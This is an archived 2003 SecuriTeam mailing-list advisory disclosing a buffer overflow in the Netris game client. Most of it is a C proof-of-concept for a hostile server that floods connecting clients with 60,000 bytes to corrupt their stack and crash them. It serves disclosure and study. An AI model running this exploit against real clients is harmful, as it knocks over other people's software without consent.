[UNIX] Netris Client Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

  • Next message: SecuriTeam: "[NT] DameWare Mini-RC Shatter (Exploit)"
    To: list@securiteam.com
    Date: 13 Aug 2003 15:30:58 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Get Thawte's New Step-by-Step SSL Guide for MSIIS

    In this guide you will find out how to test, purchase, install
    and use a Thawte Digital Certificate on your MSIIS web server.
    Throughout, best practices for set-up are highlighted to help you
    ensure efficient ongoing management of your encryption keys and digital
    certificates. Get your copy of this new guide now:
    http://ad.doubleclick.net/clk;5903126;8265119;j

    - - - - - - - - -

      Netris Client Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Netris is a Linux clone of the classic infamous game Tetr*s. A
    vulnerability in Netris allows attackers to cause a buffer overflow in the
    connecting client. This is due to insufficient bounds checking of what the
    server sends.

    DETAILS

    Proof of Concept:
    The following code is a small PoC exploit program Shaun has written to
    exploit the existing buffer overflow vulnerability. The PoC will cause a
    DoS (corruption of stack, crashing of Netris program):

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #define BACKLOG 1
    int main(int argc, char *argv[]) {
            if(argc < 2) {
                    printf("Usage: %s <port>\n", argv[0]);
                    exit(-1);
            }

            int sock, csock, i;
            struct sockaddr_in client;
            struct sockaddr_in me;
            int sinlen;
            char buffer[60001];

            memset(buffer, 'a', 60000);

            if((sock = socket(AF_INET, SOCK_STREAM, 0)) == NULL) {
                    printf("Couldn't create socket!\n");
                    exit(-1);
            }

            me.sin_family = AF_INET;
            me.sin_port = htons(atoi(argv[1]));
            me.sin_addr.s_addr = INADDR_ANY;
            if(bind(sock, (struct sockaddr *)&me, sizeof(struct sockaddr)) ==
    -1) {
            perror("bind()");
            exit(-1);
            }
            listen(sock, BACKLOG);
            printf("Listening on port %s for connections...\n", argv[1]);
            sinlen = sizeof(struct sockaddr);
            while(1) {
                    csock = accept(sock, (struct sockaddr *)&client, &sinlen);
                    printf("Got connection, sending...\n");
                    send(csock, buffer, strlen(buffer), 0);
                    sleep(1);
                    close(csock);
            }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:shaunige@yahoo.co.uk> Shaun
    Colley.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] DameWare Mini-RC Shatter (Exploit)"

    Relevant Pages